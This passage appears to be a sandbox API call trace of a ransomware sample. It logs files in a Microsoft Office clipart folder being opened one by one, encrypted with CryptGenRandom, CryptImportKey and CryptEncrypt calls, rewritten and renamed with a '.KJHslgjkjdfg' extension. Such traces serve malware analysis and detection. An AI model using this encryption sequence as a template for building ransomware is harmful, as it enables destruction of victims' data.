pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.008] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0189.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.010] GetProcessHeap () returned 0x2a0000 [0189.010] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0189.010] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0189.010] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.010] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0189.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.011] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.011] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.011] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.011] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.011] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.011] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb12, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb12, lpOverlapped=0x0) returned 1 [0189.011] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb20, dwBufLen=0xb20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb20) returned 1 [0189.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.011] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb20, lpOverlapped=0x0) returned 1 [0189.011] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.011] SetEndOfFile (hFile=0x114) returned 1 [0189.014] GetProcessHeap () returned 0x2a0000 [0189.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0189.014] GetProcessHeap () returned 0x2a0000 [0189.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.kjhslgjkjdfg")) returned 1 [0189.016] CloseHandle (hObject=0x114) returned 1 [0189.016] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1 [0189.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.018] GetProcessHeap () returned 0x2a0000 [0189.018] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.018] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.020] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.020] GetProcessHeap () returned 0x2a0000 [0189.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.020] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.020] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.020] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.020] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.020] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.021] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.021] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.021] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.021] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.021] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6ec, lpOverlapped=0x0) returned 1 [0189.021] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f0) returned 1 [0189.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.021] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6f0, lpOverlapped=0x0) returned 1 [0189.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.021] SetEndOfFile (hFile=0x114) returned 1 [0189.024] GetProcessHeap () returned 0x2a0000 [0189.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.024] GetProcessHeap () returned 0x2a0000 [0189.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.kjhslgjkjdfg")) returned 1 [0189.025] CloseHandle (hObject=0x114) returned 1 [0189.026] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1 [0189.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.027] GetProcessHeap () returned 0x2a0000 [0189.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.027] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0189.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.029] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.029] GetProcessHeap () returned 0x2a0000 [0189.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.029] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.029] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.029] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.029] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.029] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.029] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.029] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.029] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.030] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd16, lpOverlapped=0x0) returned 1 [0189.030] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd20, dwBufLen=0xd20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd20) returned 1 [0189.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.030] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd20, lpOverlapped=0x0) returned 1 [0189.030] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.030] SetEndOfFile (hFile=0x114) returned 1 [0189.032] GetProcessHeap () returned 0x2a0000 [0189.032] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.032] GetProcessHeap () returned 0x2a0000 [0189.033] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.kjhslgjkjdfg")) returned 1 [0189.034] CloseHandle (hObject=0x114) returned 1 [0189.035] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1 [0189.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.036] GetProcessHeap () returned 0x2a0000 [0189.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.036] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.036] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0189.038] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.038] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.038] GetProcessHeap () returned 0x2a0000 [0189.039] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.039] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.039] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.039] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.039] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.039] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.039] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.039] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.039] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.039] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.039] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.039] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.039] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x175f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x175f, lpOverlapped=0x0) returned 1 [0189.040] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1760, dwBufLen=0x1760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1760) returned 1 [0189.040] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.040] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1760, lpOverlapped=0x0) returned 1 [0189.041] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.041] SetEndOfFile (hFile=0x114) returned 1 [0189.043] GetProcessHeap () returned 0x2a0000 [0189.043] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.043] GetProcessHeap () returned 0x2a0000 [0189.043] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.kjhslgjkjdfg")) returned 1 [0189.045] CloseHandle (hObject=0x114) returned 1 [0189.045] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1 [0189.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.046] GetProcessHeap () returned 0x2a0000 [0189.046] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.047] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.047] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0189.048] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.048] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.048] GetProcessHeap () returned 0x2a0000 [0189.048] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.049] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.049] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.049] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.049] 